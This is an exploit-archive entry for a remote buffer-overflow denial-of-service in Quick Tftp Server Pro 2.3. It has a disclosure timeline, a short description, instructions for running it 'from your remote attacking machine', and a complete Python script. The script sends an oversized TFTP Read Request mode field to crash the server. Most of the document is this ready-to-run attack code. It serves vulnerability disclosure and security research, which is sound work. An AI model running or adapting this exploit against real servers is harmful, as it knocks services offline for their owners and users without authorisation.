Quick Tftp Server Pro 2.3 – Read Mode Denial of Service
# Exploit Title: Quick Tftp Server Pro 2.3 TFTP mode Remote Overflow (DoS) # Date: 21/01/2016 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://www.tallsoft.com/tftpserver.htm # Software Link: http://www.tallsoft.com/tftpserver_setup.exe # Version: 2.3 # Tested on: Windows 7 Family x64 (FR) # Category: DoS """ Disclosure Timeline: -------------------- 2016-01-21: Vulnerability discovered 2016-01-24: Vendor contacted 2016-01-29: Vendor contacted again (no answer) 2016-03-01: Vulnerability published Description : ------------- A remote overflow exists in Quick Tftp Server Pro 2.3 in the TFTP mode when sending a TFTP Read Request. This allows to remotely crash the application, thus causing a Denial of Service. Instructions: ------------- - Starts Quick Tftp Server Pro 2.3 - Run this exploit locally or from your remote attacking machine """ import socket host = "192.168.135.132" port = 69 request = "\x00\x01" # TFTP Read Request (RRQ) file = "file.txt" mode = '\x41' * 1024 # Overflow buffer = request + file + "\x00" + mode + "\x00" try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print "[*] Sending buffer to %s (%d bytes)..." % (host, len(buffer)) s.sendto(buffer, (host, port)) s.close() print "[*] Done." except: print "[-] Error connecting" |